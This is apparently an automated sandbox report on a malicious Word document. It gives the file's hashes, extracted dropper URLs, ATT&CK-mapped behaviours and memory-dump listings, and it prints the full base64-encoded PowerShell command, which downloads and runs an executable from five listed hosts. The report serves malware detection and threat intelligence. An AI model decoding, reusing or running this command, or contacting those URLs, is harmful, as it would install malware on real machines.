2e480d827237d7ae78d5b296e18e6a0cd466c5f3e09abf96f8bb53d927c4bab8

General

Target

dszpnkok.doc
Size

169KB
MD5

9bcd7831593b18eb2fc20abb950776e0
SHA1

94fce0e45271cd1dc5ff594f886146c88b5bdf75
SHA256

2e480d827237d7ae78d5b296e18e6a0cd466c5f3e09abf96f8bb53d927c4bab8
SHA512

ce5e923278b315e334274b0b1f9434aaa2851135fb0fb4f147b8e123da1f595e50a70fc47079f8f3c8c5c6a43f9b5b04a5dbf799f29491bb73d716304892dfdc

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://sampling-group.com/J0Eubtq06/

exe.dropper

http://www.weddingsday.co.uk/docs/1oYncTNHDu/

exe.dropper

http://sasystemsuk.com/recruit/sl979/

exe.dropper

http://wellparts.net/cgi-bin/qAj081/

exe.dropper

http://volkanakbalik.com/_inc/2W/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4584	5056	powersheLL.exe

Blocklisted process makes network request 3 IoCs

Processes:

powersheLL.exe

flow pid process

26 4584 powersheLL.exe
28 4584 powersheLL.exe
35 4584 powersheLL.exe

flow	pid	process
26	4584	powersheLL.exe
28	4584	powersheLL.exe
35	4584	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3540 WINWORD.EXE
3540 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

4584 powersheLL.exe
4584 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 4584 powersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3540 WINWORD.EXE
3540 WINWORD.EXE
3540 WINWORD.EXE
3540 WINWORD.EXE
3540 WINWORD.EXE
3540 WINWORD.EXE
3540 WINWORD.EXE

pid	process
3540	WINWORD.EXE
3540	WINWORD.EXE

pid	process
4584	powersheLL.exe
4584	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	4584	powersheLL.exe

pid	process
3540	WINWORD.EXE
3540	WINWORD.EXE
3540	WINWORD.EXE
3540	WINWORD.EXE
3540	WINWORD.EXE
3540	WINWORD.EXE
3540	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dszpnkok.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3540

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABHAEQAWgBBAFoAeABwAGgAPQAnAFAATABKAFMAUQBtAGIAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAHUAUgBpAHQAWQBQAGAAUgBvAHQAbwBjAGAATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQATgBXAEIATABGAHoAcgBnACAAPQAgACcAOAA0ADgAJwA7ACQAWgBFAEgARwBMAHQAbAB3AD0AJwBSAEsAWQBBAEkAeAB5AHcAJwA7ACQAWgBVAEMASwBYAGQAaQBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAFcAQgBMAEYAegByAGcAKwAnAC4AZQB4AGUAJwA7ACQAWgBWAEYAVQBRAHoAdAB1AD0AJwBWAEYATwBKAEsAZABhAGcAJwA7ACQARABZAFQAVgBNAHMAdQBxAD0AJgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABpAGUAbgBUADsAJABKAEMASwBQAFEAegB6AHMAPQAnAGgAdAB0AHAAOgAvAC8AcwBhAG0AcABsAGkAbgBnAC0AZwByAG8AdQBwAC4AYwBvAG0ALwBKADAARQB1AGIAdABxADAANgAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHcAZQBkAGQAaQBuAGcAcwBkAGEAeQAuAGMAbwAuAHUAawAvAGQAbwBjAHMALwAxAG8AWQBuAGMAVABOAEgARAB1AC8AKgBoAHQAdABwADoALwAvAHMAYQBzAHkAcwB0AGUAbQBzAHUAawAuAGMAbwBtAC8AcgBlAGMAcgB1AGkAdAAvAHMAbAA5ADcAOQAvACoAaAB0AHQAcAA6AC8ALwB3AGUAbABsAHAAYQByAHQAcwAuAG4AZQB0AC8AYwBnAGkALQBiAGkAbgAvAHEAQQBqADAAOAAxAC8AKgBoAHQAdABwADoALwAvAHYAbwBsAGsAYQBuAGEAawBiAGEAbABpAGsALgBjAG8AbQAvAF8AaQBuAGMALwAyAFcALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFkAVwBPAEgATgBiAHYAcAA9ACcAUgBLAEIAVQBTAHEAagB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABDAFAAWABSAE8AYQBlAHoAIABpAG4AIAAkAEoAQwBLAFAAUQB6AHoAcwApAHsAdAByAHkAewAkAEQAWQBUAFYATQBzAHUAcQAuACIAZABPAGAAdwBOAEwATwBhAGAAZABGAEkATABFACIAKAAkAEMAUABYAFIATwBhAGUAegAsACAAJABaAFUAQwBLAFgAZABpAGYAKQA7ACQATABFAE8ASQBOAHEAdgBxAD0AJwBGAEgAWgBWAFoAYgBhAHoAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABaAFUAQwBLAFgAZABpAGYAKQAuACIAbABFAG4ARwBgAFQAaAAiACAALQBnAGUAIAAzADkAOQA1ADYAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGUAYABBAHQARQAiACgAJABaAFUAQwBLAFgAZABpAGYAKQA7ACQAUwBIAEQAWQBBAGYAYgBqAD0AJwBBAE4AWABaAE8AYwBvAGIAJwA7AGIAcgBlAGEAawA7ACQAUQBJAFgATABYAGsAcQBoAD0AJwBXAEwAWgBVAFMAcQBnAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBHAE8AQwBNAGgAegBwAD0AJwBIAEkATABTAEwAegBxAGoAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4584

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/3540-138-0x000001877477E000-0x0000018774780000-memory.dmp

Filesize
8KB

Download
memory/3540-133-0x00007FFABBC10000-0x00007FFABBC20000-memory.dmp

Filesize
64KB

Download
memory/3540-130-0x00007FFABBC10000-0x00007FFABBC20000-memory.dmp

Filesize
64KB

Download
memory/3540-147-0x00007FFABBC10000-0x00007FFABBC20000-memory.dmp

Filesize
64KB

Download
memory/3540-132-0x00007FFABBC10000-0x00007FFABBC20000-memory.dmp

Filesize
64KB

Download
memory/3540-135-0x00007FFAB92B0000-0x00007FFAB92C0000-memory.dmp

Filesize
64KB

Download
memory/3540-136-0x00007FFAB92B0000-0x00007FFAB92C0000-memory.dmp

Filesize
64KB

Download
memory/3540-137-0x00000187769C0000-0x00000187769C4000-memory.dmp

Filesize
16KB

Download
memory/3540-145-0x00007FFABBC10000-0x00007FFABBC20000-memory.dmp

Filesize
64KB

Download
memory/3540-131-0x00007FFABBC10000-0x00007FFABBC20000-memory.dmp

Filesize
64KB

Download
memory/3540-134-0x00007FFABBC10000-0x00007FFABBC20000-memory.dmp

Filesize
64KB

Download
memory/3540-141-0x000001877477E000-0x0000018774780000-memory.dmp

Filesize
8KB

Download
memory/3540-148-0x00007FFABBC10000-0x00007FFABBC20000-memory.dmp

Filesize
64KB

Download
memory/3540-146-0x00007FFABBC10000-0x00007FFABBC20000-memory.dmp

Filesize
64KB

Download
memory/4584-143-0x00007FFAD0970000-0x00007FFAD1431000-memory.dmp

Filesize
10.8MB

Download
memory/4584-142-0x00007FFAD0970000-0x00007FFAD1431000-memory.dmp

Filesize
10.8MB

Download
memory/4584-140-0x00007FFAD0970000-0x00007FFAD1431000-memory.dmp

Filesize
10.8MB

Download
memory/4584-139-0x0000017F2C1D0000-0x0000017F2C1F2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads